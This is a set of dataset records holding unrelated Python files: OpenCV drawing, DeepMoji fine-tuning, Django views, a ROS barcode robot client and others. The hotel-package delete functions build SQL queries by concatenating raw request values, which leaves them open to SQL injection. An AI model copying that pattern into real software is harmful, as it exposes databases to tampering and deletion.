cv2.destroyAllWindows()\n\n\nelse:\n # wait for 's' key to save and exit\n cv2.imwrite('Polygon.jpg',img)\n # destroys all the windows we created\n cv2.destroyAllWindows()", "sub_path": "draw_tut4.py", "file_name": "draw_tut4.py", "file_ext": "py", "file_size_in_byte": 815, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.polylines", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.WINDOW_AUTOSIZE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 36, "usage_type": "call"}]} {"seq_id": "400481731", "text": "from sqlwrapper import gensql, dbget, dbput\r\n\r\nimport json\r\n\r\ndef HOTEL_PAC_POST_DELETE_Package(request):\r\n d = request.json\r\n dbput(\"delete from packages.package_code where package_code_id = \"+str(d['package_code_id'])+\" \")\r\n return(json.dumps({'Status': 'Success', 'StatusCode': '200','Return': 'Record Deleted Successfully','ReturnCode':'RDS'}, sort_keys=True, indent=4))\r\n\r\ndef HOTEL_PAC_POST_DELETE_Packagedetails(request):\r\n d = request.json\r\n dbput(\"delete from packages.package_details where packages_details_id = \"+str(d['packages_details_id'])+\" \")\r\n return(json.dumps({'Status': 'Success', 'StatusCode': '200','Return': 'Record Deleted Successfully','ReturnCode':'RDS'}, sort_keys=True, indent=4))\r\n \r\n", "sub_path": "HOTEL_PAC_POST_DELETE_Package_Code.py", "file_name": "HOTEL_PAC_POST_DELETE_Package_Code.py", "file_ext": "py", "file_size_in_byte": 731, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlwrapper.dbput", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlwrapper.dbput", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 13, "usage_type": "call"}]} {"seq_id": "473314336", "text": "import uuid\nimport sys\nsys.path.append('..')\nimport numpy as np\nfrom time import sleep\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.callbacks import TensorBoard\nfrom keras.optimizers import Adam\nfrom deepmoji.global_variables import (\n FINETUNING_METHODS,\n WEIGHTS_DIR)\nfrom deepmoji.finetuning import (\n freeze_layers,\n sampling_generator,\n train_by_chain_thaw,\n find_f1_threshold)\n\ndef relabel(y, current_label_nr, nb_classes):\n if nb_classes == 2 and len(y.shape) == 1:\n return y\n\n y_new = np.zeros(len(y))\n y_cut = y[:, current_label_nr]\n label_pos = np.where(y_cut == 1)[0]\n y_new[label_pos] = 1\n return y_new\n\ndef prepare_labels(y_train, y_val, y_test, iter_i, nb_classes):\n # Relabel into binary classification\n y_train_new = relabel(y_train, iter_i, nb_classes)\n y_val_new = relabel(y_val, iter_i, nb_classes)\n y_test_new = relabel(y_test, iter_i, nb_classes)\n return y_train_new, y_val_new, y_test_new\n\n\ndef prepare_generators(X_train, y_train_new, X_val, y_val_new, batch_size, epoch_size):\n # Create sample generators\n # Make a fixed validation set to avoid fluctuations in validation\n train_gen = sampling_generator(X_train, y_train_new, batch_size,\n upsample=True)\n val_gen = sampling_generator(X_val, y_val_new,\n epoch_size, upsample=True)\n X_val_resamp, y_val_resamp = next(val_gen)\n return train_gen, X_val_resamp, y_val_resamp\n\n\ndef finetuning_callback(checkpoint_path, patience, verbose,savepath):\n cb_verbose = (verbose >= 2)\n checkpointer = ModelCheckpoint(monitor='val_loss', filepath=checkpoint_path,\n save_best_only=True, verbose=cb_verbose)\n checkpointer2=ModelCheckpoint(monitor='val_loss', filepath='{}/model.hdf5'.format(savepath),\n save_best_only=True, verbose=cb_verbose)\n # earlystop = EarlyStopping(monitor='val_loss', patience=patience,\n # verbose=cb_verbose)\n return [checkpointer,checkpointer2,TensorBoard(log_dir='{}/mytensorboard'.format(savepath))]\n\ndef class_trainable(model, nb_classes, train, val, test, epoch_size,\n nb_epochs, batch_size, init_weight_path,\n checkpoint_weight_path,savepath, patience=5,\n verbose=True):\n total_f1 = 0\n nb_iter = nb_classes if nb_classes > 2 else 1\n\n # Unpack args\n X_train, y_train = train\n X_val, y_val = val\n X_test, y_test = test\n\n # Save and reload initial weights after running for\n # each class to avoid learning across classes\n model.save_weights(init_weight_path)\n for i in range(nb_iter):\n if verbose:\n print('Iteration number {}/{}'.format(i + 1, nb_iter))\n\n model.load_weights(init_weight_path, by_name=False)\n y_train_new, y_val_new, y_test_new = prepare_labels(y_train, y_val,\n y_test, i, nb_classes)\n train_gen, X_val_resamp, y_val_resamp = \\\n prepare_generators(X_train, y_train_new, X_val, y_val_new,\n batch_size, epoch_size)\n\n if verbose:\n print(\"Training..\")\n callbacks = finetuning_callback(checkpoint_weight_path, patience, verbose=2,savepath=savepath)\n steps = int(epoch_size / batch_size)\n model.fit_generator(train_gen, steps_per_epoch=steps,\n max_q_size=2, epochs=nb_epochs,\n validation_data=(X_val_resamp, y_val_resamp),\n callbacks=callbacks, verbose=0)\n\n # Reload the best weights found to avoid overfitting\n # Wait a bit to allow proper closing of weights file\n sleep(1)\n model.load_weights(checkpoint_weight_path, by_name=False)\n\n # Evaluate\n y_pred_val = np.array(model.predict(X_val, batch_size=batch_size))\n y_pred_test = np.array(model.predict(X_test, batch_size=batch_size))\n\n f1_test, best_t = find_f1_threshold(y_val_new, y_pred_val,\n y_test_new, y_pred_test)\n if verbose:\n print('f1_test: {}'.format(f1_test))\n print('best_t: {}'.format(best_t))\n total_f1 += f1_test\n\n return total_f1 / nb_iter\n\n\ndef class_train(model, texts, labels, nb_classes, batch_size,\n method, savepath,epoch_size=64,\n nb_epochs=1000, error_checking=True,\n verbose=True):\n\n (X_train, y_train) = (texts[0], labels[0])\n (X_val, y_val) = (texts[1], labels[1])\n (X_test, y_test) = (texts[2], labels[2])\n\n checkpoint_path = '{}/deepmoji-checkpoint-{}.hdf5' \\\n .format(WEIGHTS_DIR, str(uuid.uuid4()))\n\n f1_init_path = '{}/deepmoji-f1-init-{}.hdf5' \\\n .format(WEIGHTS_DIR, str(uuid.uuid4()))\n\n # Check dimension of labels\n if error_checking:\n # Binary classification has two classes but one value\n expected_shape = 1 if nb_classes == 2 else nb_classes\n\n for ls in [y_train, y_val, y_test]:\n if len(ls.shape) <= 1 or not ls.shape[1] == expected_shape:\n print('WARNING (class_avg_tune_trainable): '\n 'The dimension of the provided '\n 'labels do not match the expected value. '\n 'Expected: {}, actual: {}'\n .format(expected_shape, ls.shape[1]))\n break\n\n lr = 0.001\n\n loss = 'binary_crossentropy'\n\n\n # Compile model\n adam = Adam(clipnorm=1, lr=lr)\n model.compile(loss=loss, optimizer=adam, metrics=['accuracy'])\n\n # Training\n if verbose:\n print('Method: {}'.format(method))\n print('Classes: {}'.format(nb_classes))\n\n\n result = class_trainable(model, nb_classes=nb_classes,\n train=(X_train, y_train),\n val=(X_val, y_val),\n test=(X_test, y_test),\n epoch_size=epoch_size,\n nb_epochs=nb_epochs,\n batch_size=batch_size,\n init_weight_path=f1_init_path,\n checkpoint_weight_path=checkpoint_path,\n savepath=savepath,\n verbose=verbose)\n return model, result\n\n\n", "sub_path": "mini-train/original_file/train_util.py", "file_name": "train_util.py", "file_ext": "py", "file_size_in_byte": 6622, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 24, "usage_type": "call"}, {"api_name": "deepmoji.finetuning.sampling_generator", "line_number": 39, "usage_type": "call"}, {"api_name": "deepmoji.finetuning.sampling_generator", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "deepmoji.finetuning.find_f1_threshold", "line_number": 101, "usage_type": "call"}, {"api_name": "deepmoji.global_variables.WEIGHTS_DIR", "line_number": 121, "usage_type": "argument"}, {"api_name": "uuid.uuid4", "line_number": 121, "usage_type": "call"}, {"api_name": "deepmoji.global_variables.WEIGHTS_DIR", "line_number": 124, "usage_type": "argument"}, {"api_name": "uuid.uuid4", "line_number": 124, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 146, "usage_type": "call"}]} {"seq_id": "252880247", "text": "import setuptools\n\nwith open('README.md', 'r', encoding='utf-8') as f:\n long_description = f.read()\n\nsetuptools.setup(\n name=\"k-load\",\n version=\"0.2.8\",\n author=\"-T.K.-\",\n author_email=\"tk.fantasy.233@gmail.com\",\n description=\"A downloader\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/T-K-233/k-load\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n entry_points={\n 'console_scripts': 'k-load = k_load.__main__:console_entry'\n }\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 699, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "setuptools.setup", "line_number": 6, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 15, "usage_type": "call"}]} {"seq_id": "174049067", "text": "from django.shortcuts import render, HttpResponse, get_object_or_404, HttpResponseRedirect, redirect\nfrom django.http import Http404\nfrom .models import Job\nfrom .models import Project\nfrom django.db.models import Count\nfrom .forms import LoginForm\nfrom django.contrib.auth import authenticate, login, logout\n# from django.contrib import messages\nfrom django.urls import reverse\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\n\n# Create your views here.\ndef form_view(request):\n form = LoginForm(request.POST or None, request.FILES or None)\n context = {\n 'form': form,\n }\n return render(request, 'follow/form.html', context)\n\ndef home_view(request):\n if request.user.is_authenticated:\n context = {\n 'isim': 'Tuncay',\n }\n else:\n context = {\n 'isim': 'django',\n }\n return render(request, 'home.html', context)\n\ndef job_index(request):\n jobs = Job.objects.all()\n projects = Project.objects.all()\n print(projects)\n context = {\n 'jobs': jobs,\n 'projects': projects,\n }\n return render(request, 'follow/index.html', context)\n\ndef job_detail(request, slug):\n jobs = get_object_or_404(Job, slug=slug)\n return render(request, 'follow/detail.html', {'jobs': jobs})\n\ndef job_create(request):\n return HttpResponse('<b>create</b>')\n\n\ndef project_index(request):\n projects = Project.objects.all()\n return render(request, 'follow/project.html', {'projects': projects})\n\ndef project_detail(request, slug):\n projects = get_object_or_404(Project, slug=slug)\n print(\"proje adı: \"+str(projects))\n bug_count = Job.objects.filter(project_name=projects, tracker='BUG').count()\n print(bug_count)\n feature_count = Job.objects.filter(project_name=projects, tracker='FEATURE').count()\n test_count = Job.objects.filter(project_name=projects, tracker='TEST').count()\n research_count = Job.objects.filter(project_name=projects, tracker='RESEARCH').count()\n support_count = Job.objects.filter(project_name=projects, tracker='SUPPORT').count()\n context = {\n 'title': projects,\n 'bug_count': bug_count,\n 'feature_count': feature_count,\n 'test_count': test_count,\n 'research_count': research_count,\n 'support_count': support_count,\n 'project_name': projects,\n }\n print(str(context))\n return render(request, 'follow/projectdetail.html', context)\n # return reverse('follow/projectdetail.html', kwargs={'slug': slug})\n\ndef job_update(request):\n return HttpResponse('<b>update</b>')\n\ndef job_delete(request):\n return HttpResponse('<b>delete</b>')\n\n#kullanıcı login\ndef login_view(request):\n form = LoginForm(request.POST or None)\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n #print(\"kullanıcı login oldu\")\n return redirect('home')\n return render(request, 'follow/form.html', {'form': form, 'title': 'Giriş Yap'})\n\n#kullanıcı logout\ndef logout_view(request):\n logout(request)\n return redirect('home')\n\ndef user_detail(request):\n username = request.user.get_username\n # mail = User.objects.get(email=username)\n # print(mail)\n print(\"login olan kullanıcı: \"+str(username))\n return render(request, 'follow/user.html', {'username': username})", "sub_path": "follow/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3498, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "forms.LoginForm", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Job.objects.all", "line_number": 34, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 34, "usage_type": "name"}, {"api_name": "models.Project.objects.all", "line_number": 35, "usage_type": "call"}, {"api_name": "models.Project.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "models.Project", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 44, "usage_type": "call"}, {"api_name": "models.Job", "line_number": 44, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Project.objects.all", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Project.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.Project", "line_number": 52, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 56, "usage_type": "call"}, {"api_name": "models.Project", "line_number": 56, "usage_type": "argument"}, {"api_name": "models.Job.objects.filter", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 58, "usage_type": "name"}, {"api_name": "models.Job.objects.filter", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 60, "usage_type": "name"}, {"api_name": "models.Job.objects.filter", "line_number": 61, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 61, "usage_type": "name"}, {"api_name": "models.Job.objects.filter", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 62, "usage_type": "name"}, {"api_name": "models.Job.objects.filter", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Job.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Job", "line_number": 63, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 78, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 81, "usage_type": "call"}, {"api_name": "forms.LoginForm", "line_number": 85, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 91, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 93, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 94, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 98, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 99, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 106, "usage_type": "call"}]} {"seq_id": "352619592", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom simulators_investigation.networks.policy import Policy\n\nclass mlp_policy(Policy):\n \"\"\"\n Assumes to be a 2 layer network\n \"\"\"\n def __init__(self, policy, plot=False):\n super().__init__(plot=plot)\n # tf_parameters is a list containing all the variables in order\n tf_parameters = policy.get_params()\n\n self.extract_parameters(tf_parameters)\n\n def extract_parameters(self, tf_parameters):\n self.hidden_1_w = tf_parameters[0].eval()\n self.hidden_1_b = tf_parameters[1].eval()\n self.hidden_2_w = tf_parameters[2].eval()\n self.hidden_2_b = tf_parameters[3].eval()\n self.output_w = tf_parameters[4].eval()\n self.output_b = tf_parameters[5].eval()\n\n def network_evaluate(self, obs):\n return np.tanh(np.tanh(obs @ self.hidden_1_w + self.hidden_1_b) @ self.hidden_2_w + self.hidden_2_b) @ self.output_w + self.output_b\n\n def plot_states(self):\n plt.clf()\n plt.subplot(2, 1, 1)\n plt.bar(np.arange(18), self.obs)\n plt.ylabel('observation')\n\n plt.subplot(2, 1, 2)\n plt.bar(np.arange(4), self.action)\n plt.ylabel('action')\n\n plt.show(block=False)\n plt.pause(0.0001)", "sub_path": "simulators_investigation/networks/mlp.py", "file_name": "mlp.py", "file_ext": "py", "file_size_in_byte": 1268, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "simulators_investigation.networks.policy.Policy", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.tanh", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}]} {"seq_id": "124518132", "text": "#!/usr/bin/env python\n# import the necessary packages\nfrom imutils.video import VideoStream\nfrom pyzbar import pyzbar\nimport argparse\nimport datetime\nimport imutils\nimport time\nimport cv2\nimport numpy as np\nimport rospy\nimport std_msgs.msg\nfrom std_msgs.msg import Float32\nfrom std_msgs.msg import Int32\nfrom std_msgs.msg import String\nfrom parking_client_cv.msg import R_location\n\ngo = Int32()\nmsg = R_location()\ntemp_msg = R_location()\nresponse_msg = R_location()\ndest = R_location()\nfirst=0\ndef robot_move_callback(data):\n\t#pub move command to robot node\n\t###############################\n\tif data.robotNumber == 4:\n\t\tpub_to_robot.publish(data.location)\n\t\tdest.location = data.location\n\t\tprint(\"come i n!!\")\n\t\"\"\"\n\twhile 1:\n\t\treal_barcode = int(\"{}\".format(barcodeData))\n\t\tif real_barcode == data.location:\n\t\t\tresponse_msg.robotNumber = 1\n\t\t\tresponse_msg.location = data.location\n\t\t\tpub.publish(response_msg)\n\t\t\tbreak\n\t\"\"\"\n\ndef pub_to_server_callback(data):\n\tpub_robot_move_response.publish(dest)\n\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\",\n\thelp=\"path to output CSV file containing barcodes\")\nargs = vars(ap.parse_args())\n\n# initialize the video stream and allow the camera sensor to warm up\nprint(\"[INFO] starting video stream...\")\n# vs = VideoStream(src=0).start()\nvs = VideoStream(usePiCamera=True).start()\ntime.sleep(2.0)\n\n# open the output CSV file for writing and initialize the set of\n# barcodes found thus far\ncsv = open(args[\"output\"], \"w\")\nfound = set()\n\nprint(\"register ros pub\")\n\nrospy.init_node('robot4', anonymous=True)\n#ros pub\npub_centerPos = rospy.Publisher('center4', Float32, queue_size=10)\npub = rospy.Publisher('robot_location', R_location, queue_size=10)\npub_robot_move_response=rospy.Publisher('robot_move_response', R_location, queue_size=10)\npub_barcode_rad = rospy.Publisher('stop4', Float32, queue_size=10)\npub_to_robot=rospy.Publisher('go4',Int32, queue_size=10)\n\n\n\n# pub move command to robot node\n\n\n#ros sub\nrospy.Subscriber('robot_move', R_location, robot_move_callback)\nrospy.Subscriber('finish4', String, pub_to_server_callback)\n\nbarcodeData = 0\nbarcodeType = 0\nmsg.location = 4\nmsg.robotNumber = 4\nrospy.sleep(3)\n\npub.publish(msg)\nprint(\"??\")\nprint(pub.get_num_connections())\n\t\ntemp_msg.location = 0\n# loop over the frames from the video stream\n#while True:\nwhile not rospy.is_shutdown():\n\t# grab the frame from the threaded video stream and resize it to\n\t# have a maximum width of 400 pixels\n\tframe = vs.read()\n\tframe = imutils.resize(frame, width=400)\n\t# find the barcodes in the frame and decode each of the barcodes\n\tbarcodes = pyzbar.decode(frame)\n\t# loop over the detected barcodes\n\tfor barcode in barcodes:\n\t\t# extract the bounding box location of the barcode and draw\n\t\t# the bounding box surrounding the barcode on the image\n\t\t(x, y, w, h) = barcode.rect\n\t\t\n\t\tcv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n\t\t# the barcode data is a bytes object so if we want to draw it\n\t\t# on our output image we need to convert it to a string first\n\t\tbarcodeData = barcode.data.decode(\"utf-8\")\n\t\tbarcodeType = barcode.type\n\n\t\t# draw the barcode data and barcode type on the image\n\t\t#text = \"{} ({})\".format(barcodeData, barcodeType)\n\t\ttext = \"{}\".format(barcodeData)\n\t\tcv2.putText(frame, text, (x, y - 10),\n\t\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\t\tmsg.robotNumber = 4\n\t\tif text != '' and text != '\\x7f':\n\t\t\tmsg.location = int(text)\n\t\t\tprint(text)\n\n\t\t#+++ wyj2 code\n\t\t#Get centroid\n\t\tcentroid = (0.0, 0.0)\n\t\tfor i in range(0, len(barcode.polygon)):\n\t\t\tcentroid = (centroid[0] + barcode.polygon[i].x, centroid[1] + barcode.polygon[i].y)\n\t\tcentroid = (centroid[0] / len(barcode.polygon), centroid[1] / len(barcode.polygon))\n\t\tcentermsg = centroid[1]\n\t\tif centroid[0] == 200:\n\t\t\ttheta = 3.141592\n\t\telse:\n\t\t\t#Get theta between barcode vector and center vector\n\t\t\tleaning = float((200 - centroid[0])/(600 - centroid[1]))\n\t\t\ttheta = np.arctan(leaning)\n\t\t\n\t\t\t\n\n\t\tif temp_msg.location != msg.location:\n\t\t\tif first == 0:\n\t\t\t\t#rospy.sleep(1.)\n\t\t\t\tfirst = first+1\n\t\t\tpub.publish(msg)\n\t\t\tprint(\"pub to server !!\")\n\t\t\t#pub_barcode_rad.publish(theta)\n\t\n\t\tif dest.location == msg.location:\n\t\t\tdest.robotNumber = 4\n\t\t\tdest.location = msg.location\n\t\t\tpub_barcode_rad.publish(theta)\n\t\t\t\n\t\t\tpub_centerPos.publish(centermsg)\n\t\t\t#pub_robot_move_response.publish(dest)\n\t\t\tdest.location = 0\n\n\t\t#msg = std_msgs.msg.String(text)\n\t\t#pub.publish(msg)\n\t\ttemp_msg.location = msg.location\n\n\t\t# if the barcode text is currently not in our CSV file, write\n\t\t# the timestamp + barcode to disk and update the set\n\t\tif barcodeData not in found:\n\t\t\tcsv.write(\"{},{}\\n\".format(datetime.datetime.now(),\n\t\t\t\tbarcodeData))\n\t\t\tcsv.flush()\n\t\t\tfound.add(barcodeData)\n\n\t# show the output frame\n\t#cv2.imshow(\"Barcode Scanner\", frame)\n\t#key = cv2.waitKey(1) & 0xFF\n \n\t# ros spin\n#\trospy.spin()\n\n\t# if the `q` key was pressed, break from the loop\n\t#if key == ord(\"q\"):\n\t#\tbreak\n\n# close the output CSV file do a bit of cleanup\nprint(\"[INFO] cleaning up...\")\ncsv.close()\ncv2.destroyAllWindows()\nvs.stop()\n", "sub_path": "roomba_client.py", "file_name": "roomba_client.py", "file_ext": "py", "file_size_in_byte": 5126, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "std_msgs.msg.Int32", "line_number": 18, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 19, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 20, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 21, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 46, "usage_type": "call"}, {"api_name": "imutils.video.VideoStream", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 64, "usage_type": "call"}, {"api_name": "rospy.Publisher", "line_number": 66, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float32", "line_number": 66, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 67, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 67, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 68, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 68, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 69, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float32", "line_number": 69, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 70, "usage_type": "call"}, {"api_name": "std_msgs.msg.Int32", "line_number": 70, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 78, "usage_type": "call"}, {"api_name": "parking_client_cv.msg.R_location", "line_number": 78, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 79, "usage_type": "call"}, {"api_name": "std_msgs.msg.String", "line_number": 79, "usage_type": "argument"}, {"api_name": "rospy.sleep", "line_number": 85, "usage_type": "call"}, {"api_name": "rospy.is_shutdown", "line_number": 94, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 98, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar.decode", "line_number": 100, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar", "line_number": 100, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.arctan", "line_number": 136, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 164, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 164, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 183, "usage_type": "call"}]} {"seq_id": "54267250", "text": "import matplotlib\nmatplotlib.use('Agg')\nimport sys, os\n\n#if os.path.isfile(sys.argv[1].split('h5')[0]+'png'):\n# print(\"Already have .png exiting.\")\n# sys.exit()\nimport h5py, glob, csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\n\n\nf = h5py.File('{0}'.format(sys.argv[1]),'r')\nlist(f.attrs) # check the metadata attributes\nlist(f.attrs.items()) # check the metadata attributes and their values\nf.items() # list the datasets in the file\n\n#############################################\n# extract the spectrum data and \n#############################################\n\nspectrum = f['spectrum'][:] # get the spectrum data\nspectrum = spectrum.mean(axis=0)\nfreqswitch = sys.argv[1].split('/')[-1].split('.')\n#print freqswitch\ngl = glob.glob('/home/dspradio/freq_shifts/'+freqswitch[0]+'.'+str(int(freqswitch[1])+5)+'*_Drift.h5')\nif len(gl)>1:\n print(\"pattern matching not specific enough, can't freq switch\")\nelif len(gl) == 1:\n switch = h5py.File('{0}'.format(gl[0]),'r')\n list(switch.attrs) # check the metadata attributes\n list(switch.attrs.items()) # check the metadata attributes and their values\n switch.items() # list the datasets in the file\n #print('len(spectrum) = {0}'.format(len(spectrum)))\n #print('len(switch) = {0}'.format(len(switch)))\n #print spectrum\n spectrum2 = switch['spectrum'][:]\n spectrum2 = spectrum2.mean(axis=0)\n try:\n diff = spectrum - spectrum2 \n except ValueError:\n print(\"I can't take the difference of the spectra\")\n diff = spectrum \nelse:\n print(\"I'm somewhere I shouldn't be\")\n\n###############################################\n# save to a text file to open on excel or 